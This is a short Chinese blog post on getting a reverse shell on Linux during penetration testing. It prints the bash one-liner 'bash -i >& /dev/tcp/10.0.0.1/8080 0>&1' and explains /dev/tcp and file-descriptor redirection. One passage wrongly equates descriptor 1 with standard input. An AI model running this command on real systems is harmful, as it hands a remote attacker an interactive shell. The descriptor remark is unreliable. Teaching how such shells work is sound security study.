linux几种方式来弹哥shell

渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的

 

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1


bash -i :打开一个交互的bash。
dev/tcp/是linux中的一个设备,打开文件相当于发出一个socket调用,建立socket连接。
打开这个文件相当于 在这个socket里面传输数据,

当然, 还有一个文件夹叫 /dev/udp/

在了解“>&”和“0>&1”,前,先了解一下linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

 

先从 0>&1入手,简简单单的四个字符,但是想真正的搞清楚真的麻烦啊

 

有些资料里的解释说:2>&1是将标准错误输出合并到标准输出中

也就是说  2> ==  标准错误输出

      1   ==  标准输入

那难道 &是合并的意思?  &貌似也有 and的意思对吧。

其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

 

http://blog.51cto.com/kusorz/2071052

posted @ 2018-06-29 19:47  渐渐遗忘者  阅读(376)  评论(0编辑  收藏  举报